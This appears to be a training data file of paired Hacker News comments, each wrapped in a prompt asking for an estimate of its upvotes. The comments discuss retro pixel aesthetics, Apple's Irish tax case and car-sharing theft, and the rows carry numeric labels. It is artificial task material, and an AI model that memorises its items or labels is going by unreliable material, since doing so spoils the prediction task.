41,282,690 | 41,281,565 | 1 | 3 | 41,262,043 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>zamadatix</author><text>Yesterdays aesthetic wasn&#x27;t thick chunky pixels with outputs exactly matching the indexed palettes with wide color range. Sure, resolution was low and color choice was limited... but so similarly limited was the way we transmitted and displayed things. These dithered polygon shadings turned into new colors, the blocky details into new smooth shapes, and the colors overall more muted than just popping the RGB value onto a modern screen would suggest.<p>That&#x27;s not to say this aesthetic is &quot;bad&quot; (I&#x27;m actually quite fond of it and similar styles too) but just that it&#x27;s absolutely nothing like the emulated Star Fox screenshots being used as the target suggest. If yesterday&#x27;s pixels is the goal then this is missing the main part of what made those pixels look the way they did.<p>For those who haven&#x27;t seen games like this on the typical technology of the era: this is a photo of LCD output using a similar path as taken here, a photo the same with a CRT emulation shader, and a photo of an actual CRT (don&#x27;t take this one CRT to be gospel of what every CRT output from all of time looked like) <a href="https:&#x2F;&#x2F;i.imgur.com&#x2F;lo8ytRq.jpeg" rel="nofollow">https:&#x2F;&#x2F;i.imgur.com&#x2F;lo8ytRq.jpeg</a></text><parent_chain></parent_chain></comment><story><title>Yesterday's Pixels, Today</title><url>https://nas.sr/text/yesterdays-pixels-today/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>wzdd</author><text>The final result looks great, but I found it even more convincing limiting it to about 15 FPS: <a href="https:&#x2F;&#x2F;jsfiddle.net&#x2F;9mksgbe6&#x2F;1&#x2F;" rel="nofollow">https:&#x2F;&#x2F;jsfiddle.net&#x2F;9mksgbe6&#x2F;1&#x2F;</a></text><parent_chain></parent_chain></comment><story><title>Yesterday's Pixels, Today</title><url>https://nas.sr/text/yesterdays-pixels-today/</url></story> |
12,392,564 | 12,392,324 | 1 | 3 | 12,388,601 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>Certhas</author><text>No, if you have mega corporations build entities outside your tax code, you have a case of countries having designed very attractive tax codes for corporations. Small countries especially have an incentive to do so, as a smaller percentage of tax of a larger percentage of capital going through their country counts for a lot per capita.<p>As companies benefit from this incentive, they lobby to keep it around. Very successfully.<p>So no, revamping the US tax code is (quite obviously) not an answer to Apple not paying tax in the EU. Having enforced taxation rules that prevent the race to the bottom is. Unfortunately taxation is not in the remit of the EU at the moment. Hence the back door approach through &quot;unfair tax benefits&quot;.<p>We don&#x27;t need trade deals that harmonize things so countries can, we really need tax deals that harmonize, or at least put minimum standards on taxes.<p>Why wouldn&#x27;t something like that fly? Well because if the impression European observers have gotten over the last years is correct, then Apple et.al. basically own US policy on that point, to such a degree that the US actually threatened the Commission against ruling as it did.<p>So no, Apple did nothing illegal, but what is happening is clearly wrong, and Apple is lobbying to keep it that way. Heavily and successfully. And that is wrong.<p>For an example of an ethical stance a corporation could take here: IBM was, at least for a while, lobbying for abolishing software patents while at the same time owning a massive amount of them and registering new ones.<p>A structural fix would be to work towards making the US (and the EU, and all other) political system more resilient to lobbying pressure from powerful corporations.<p>But that is about as hard a problem as you are likely to find.</text><parent_chain><item><author>X86BSD</author><text>Every time this apple in Ireland tax issue comes up it makes my brain hurt, literally hurt to read all these replies who don&#x27;t seem to look at this problem correctly.<p>First, Apple did nothing illegal. There is no wrong doing here. They pay tax in every country they owe tax. Period.<p>Second, perhaps it&#x27;s not Apple that&#x27;s the problem? Perhaps it&#x27;s the <i>tax</i> that is the problem.<p>If you have mega corps building entities outside its main jurisdiction to avoid the main jurisdictions tax burden, perhaps you need to revamp your insane tax code. Hmm?</text></item><item><author>shaqbert</author><text>The US tax code is a huge mess, agreed. But you gotta pay your dues (aka taxes) somewhere, and here Apple et al goes essentially Scot free. That is not cool.</text></item><item><author>tinkerrr</author><text>&gt;And with another quirk - this time in US tax laws - the do not even have to pay taxed in the US on those earnings, as they have not repatriated the funds.<p>This is not a &#x27;quirk&#x27; as you think. No country in the world, other than the US, tax their corporations on already taxed profits in a different jurisdiction. This actually ends up hurting the US because corporations cannot repatriate already-taxed funds without being taxed again.</text></item><item><author>shaqbert</author><text>What Apple, Amazon, Google, Microsoft, and most other big US company do is the so called &quot;double Irish&quot;[1]. Essentially is a clever way of using two quirks of some EU countries loopholes in tax laws, from treating IP licensing fees (of course the brand and intellectual IP is owned by a British virgin island tax haven, where else could this stuff be created&#x2F;invented), and the net result is that Apple et al end up paying single digit cents on the dollar in EU profits.<p>And with another quirk - this time in US tax laws - the do not even have to pay taxed in the US on those earnings, as they have not repatriated the funds.<p>How to pay dividends&#x2F;fund buybacks, without repatriating those funds? Easy: Just issue debt (which your own subsidiary in the British Virgin islands making a killing on IP licensing might want to buy) or have your BVI IP trust fund buy those shares.<p>Now why would other EU countries let Ireland and the Netherlands get away with these accepted loopholes is a mystery to me, especially since Ireland had to ask for a bailout lifeline, and was in no position to negotiate firmly.<p>Why the US would allow their truffle pigs to not pay taxes on oversea earnings is clearly the result of expert lobbying.<p>[1]: <a href="https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Double_Irish_arrangement" rel="nofollow">https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Double_Irish_arrangement</a></text></item></parent_chain></comment><story><title>Commission says Ireland granted undue tax benefits of up to €13B to Apple</title><url>http://www.rte.ie/news/2016/0830/812819-apple-tax-ireland/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>soperj</author><text>This is the point where Godwin&#x27;s law comes into effect.
Seriously though, it was legal to own slaves in the US not all that long ago, most people now a days wouldn&#x27;t say &quot;There is no wrong doing here&quot;, just because it was legal.</text><parent_chain><item><author>X86BSD</author><text>Every time this apple in Ireland tax issue comes up it makes my brain hurt, literally hurt to read all these replies who don&#x27;t seem to look at this problem correctly.<p>First, Apple did nothing illegal. There is no wrong doing here. They pay tax in every country they owe tax. Period.<p>Second, perhaps it&#x27;s not Apple that&#x27;s the problem? Perhaps it&#x27;s the <i>tax</i> that is the problem.<p>If you have mega corps building entities outside its main jurisdiction to avoid the main jurisdictions tax burden, perhaps you need to revamp your insane tax code. Hmm?</text></item><item><author>shaqbert</author><text>The US tax code is a huge mess, agreed. But you gotta pay your dues (aka taxes) somewhere, and here Apple et al goes essentially Scot free. That is not cool.</text></item><item><author>tinkerrr</author><text>&gt;And with another quirk - this time in US tax laws - the do not even have to pay taxed in the US on those earnings, as they have not repatriated the funds.<p>This is not a &#x27;quirk&#x27; as you think. No country in the world, other than the US, tax their corporations on already taxed profits in a different jurisdiction. This actually ends up hurting the US because corporations cannot repatriate already-taxed funds without being taxed again.</text></item><item><author>shaqbert</author><text>What Apple, Amazon, Google, Microsoft, and most other big US company do is the so called &quot;double Irish&quot;[1]. Essentially is a clever way of using two quirks of some EU countries loopholes in tax laws, from treating IP licensing fees (of course the brand and intellectual IP is owned by a British virgin island tax haven, where else could this stuff be created&#x2F;invented), and the net result is that Apple et al end up paying single digit cents on the dollar in EU profits.<p>And with another quirk - this time in US tax laws - the do not even have to pay taxed in the US on those earnings, as they have not repatriated the funds.<p>How to pay dividends&#x2F;fund buybacks, without repatriating those funds? Easy: Just issue debt (which your own subsidiary in the British Virgin islands making a killing on IP licensing might want to buy) or have your BVI IP trust fund buy those shares.<p>Now why would other EU countries let Ireland and the Netherlands get away with these accepted loopholes is a mystery to me, especially since Ireland had to ask for a bailout lifeline, and was in no position to negotiate firmly.<p>Why the US would allow their truffle pigs to not pay taxes on oversea earnings is clearly the result of expert lobbying.<p>[1]: <a href="https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Double_Irish_arrangement" rel="nofollow">https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Double_Irish_arrangement</a></text></item></parent_chain></comment><story><title>Commission says Ireland granted undue tax benefits of up to €13B to Apple</title><url>http://www.rte.ie/news/2016/0830/812819-apple-tax-ireland/</url></story> |
20,440,189 | 20,439,392 | 1 | 2 | 20,434,719 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>rickyc091</author><text>As a renter, you have to provide several verifications (email, linkedin, google, phone number). I think you can get away with a single one. Sometimes, you&#x27;ll be asked to provide a driver&#x27;s license or passport for proof.<p>80% of the rentals I&#x27;ve been in weren&#x27;t their primary home, so even if someone was to rob the place, there wasn&#x27;t much to take. The most valuable thing would probably be the TV, but most places only had a 32-40&quot; tv which goes for a few hundred bucks new.<p>While people aren&#x27;t robbing Airbnb homes, there are several cases where they are getting completely destroyed.</text><parent_chain><item><author>sytelus</author><text>I am doubting this data points. AirBnB has virtually no background checks and people are not robbing away houses en mass. Why AirBnB has such a different track record vs Car2Go?</text></item><item><author>jacurtis</author><text>This is interesting because I always thought these &quot;background checks&quot; were just a formality. Like something needed for their insurance or to weed out a few extreme individuals (like those with multiple-DUIs or a heavy history of wrecks on their record).<p>But the fact that they can ease up on background checks and see an immediate large bulk of car thefts is damning evidence that the background checks were truly having a real impact on preventing theft. It really is fascinating.</text></item></parent_chain></comment><story><title>After Car2Go eased its background checks, 75 vehicles were stolen in one day</title><url>https://www.bloomberg.com/news/articles/2019-07-11/mercedes-thieves-showed-just-how-vulnerable-car-sharing-can-be</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>Blackstone4</author><text>On Airbnb, I understand there is verification of identity checks. Secondly you&#x27;d need to pay to rent an expensive place in advance (which could be done fraudently) followed by the fact that it&#x27;s much harder to fence furniture relative to cars which are more uniform.<p>Simply put, I imagine there is more money is stealing cars.<p>As to &quot;selling the house&quot;, this often requires a serious amount of paperwork and is harder to do.</text><parent_chain><item><author>sytelus</author><text>I am doubting this data points. AirBnB has virtually no background checks and people are not robbing away houses en mass. Why AirBnB has such a different track record vs Car2Go?</text></item><item><author>jacurtis</author><text>This is interesting because I always thought these &quot;background checks&quot; were just a formality. Like something needed for their insurance or to weed out a few extreme individuals (like those with multiple-DUIs or a heavy history of wrecks on their record).<p>But the fact that they can ease up on background checks and see an immediate large bulk of car thefts is damning evidence that the background checks were truly having a real impact on preventing theft. It really is fascinating.</text></item></parent_chain></comment><story><title>After Car2Go eased its background checks, 75 vehicles were stolen in one day</title><url>https://www.bloomberg.com/news/articles/2019-07-11/mercedes-thieves-showed-just-how-vulnerable-car-sharing-can-be</url></story> |
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